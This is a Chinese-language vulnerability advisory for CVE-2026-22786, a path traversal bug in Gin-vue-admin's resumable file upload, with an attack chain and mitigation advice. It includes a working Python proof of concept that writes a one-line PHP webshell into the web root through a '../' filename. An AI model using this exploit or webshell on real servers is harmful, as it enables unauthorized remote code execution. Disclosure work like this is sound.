IPBUF安全漏洞报告
English
CVE-2026-22786 CVSS 7.2 高危

CVE-2026-22786 Gin-vue-admin路径遍历漏洞导致任意文件上传

披露日期: 2026-01-12

漏洞信息

漏洞编号
CVE-2026-22786
漏洞类型
路径遍历
CVSS评分
7.2 高危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
Gin-vue-admin

相关标签

路径遍历任意文件上传远程代码执行Gin-vue-adminCVE-2026-22786断点续传文件上传漏洞

漏洞概述

Gin-vue-admin是一款基于Vue和Gin框架开发的后台管理系统。2026年1月,安全研究人员发现该系统在v2.8.7及以下版本中存在严重的路径遍历(Path Traversal)漏洞。漏洞位于断点续传功能的文件上传模块中,攻击者可以利用该漏洞在服务器的任意目录写入任意文件,成功利用可导致远程代码执行、敏感数据泄露或系统完全沦陷。由于漏洞利用需要高权限用户身份,攻击者通常需要先通过社会工程学或其他手段获取具有文件上传权限的账号。

技术细节

漏洞根源在于breakpoint_continue.go文件中的MakeFile函数存在路径遍历缺陷。该函数通过/fileUploadAndDownload/breakpointContinueFinish API端点接收fileName参数,随后直接将用户可控的fileName与基础目录路径./fileDir/进行字符串拼接,并传递给os.OpenFile()创建文件。关键问题是代码未对fileName参数进行任何安全校验,未过滤或清理目录遍历序列(如../或..\),也未验证最终文件路径是否在预期目录范围内。攻击者可通过构造类似../../../etc/cron.d/malicious的文件名,实现目录穿越,将恶意文件写入服务器任意位置,如计划任务目录、Web根目录或系统敏感目录,从而实现远程代码执行。

攻击链分析

STEP 1
1
攻击者获取具有文件上传权限的用户账号凭证
STEP 2
2
构造包含目录遍历序列的fileName参数,如../../../var/www/html/shell.php
STEP 3
3
向/fileUploadAndDownload/breakpointContinueFinish端点发送恶意构造的请求
STEP 4
4
服务器端MakeFile函数直接将fileName与fileDir拼接,未验证路径合法性
STEP 5
5
恶意文件被写入服务器任意目录(如Web根目录)
STEP 6
6
攻击者访问上传的Webshell实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2026-22786 Path Traversal PoC for Gin-vue-admin # Target: /fileUploadAndDownload/breakpointContinueFinish target_url = "http://target-server/api/fileUploadAndDownload/breakpointContinueFinish" # Path traversal payload to write file to arbitrary directory malicious_filename = "../../../var/www/html/shell.php" payload = { "fileName": malicious_filename } # Malicious PHP shell content files = { "file": ("test.txt", "<?php system($_GET['cmd']); ?>", "text/plain") } try: response = requests.post(target_url, data=payload, files=files, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response: {response.text}") # Verify file creation if response.status_code == 200: print(f"[+] File uploaded via path traversal: {malicious_filename}") print("[+] Target may be vulnerable to RCE via uploaded webshell") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

影响范围

Gin-vue-admin <= v2.8.7

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则临时拦截包含../序列的请求,同时限制文件上传功能的权限范围,审计现有用户账号,及时发现异常上传行为。建议在生产环境中禁用断点续传功能或限制其使用场景。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表